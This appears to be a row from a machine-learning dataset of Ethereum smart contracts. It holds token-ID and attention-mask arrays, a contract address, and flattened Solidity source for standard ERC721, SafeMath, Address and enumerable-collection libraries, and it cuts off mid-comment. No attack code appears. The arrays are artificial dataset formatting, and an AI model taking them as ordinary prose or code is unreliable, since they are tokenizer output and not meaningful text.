[ 101, 1014, 2595, 2683, 2575, 2050, 2509, 2497, 2575, 2094, 2475, 11057, 2575, 18827, 2487, 2063, 2487, 2497, 2475, 2094, 22275, 2683, 22407, 2575, 2683, 27814, 6679, 2497, 2575, 2546, 2487, 2063, 26224, 2094, 2575, 2683, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2539, 1025, 1013, 1013, 22260, 2666, 20118, 2278, 5271, 3206, 1012, 2025, 6989, 2007, 1996, 2208, 9797, 1012, 2224, 2012, 2115, 2219, 3891, 1012, 1013, 1013, 1013, 1013, 17394, 1024, 2000, 4047, 2114, 8040, 13596, 1024, 1013, 1013, 1015, 1007, 4638, 1996, 3976, 2011, 22042, 2006, 1000, 3191, 6047, 3206, 1000, 1999, 28855, 29378, 1012, 2048, 7597, 2024, 2405, 1013, 1013, 1037, 1007, 3976, 2005, 1015, 20118, 2278, 1999, 11417, 1006, 1015, 11417, 1027, 2184, 1034, 1011, 2324, 3802, 2232, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,361
0x96a481f104d6e9f2d35d64e18452b12868bf1a70
pragma solidity >=0.6.0 <0.8.0; pragma abicoder v2; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.3._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { return _get(map, key, "EnumerableMap: nonexistent key"); } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint256(value))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key)))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key), errorMessage))); } } pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 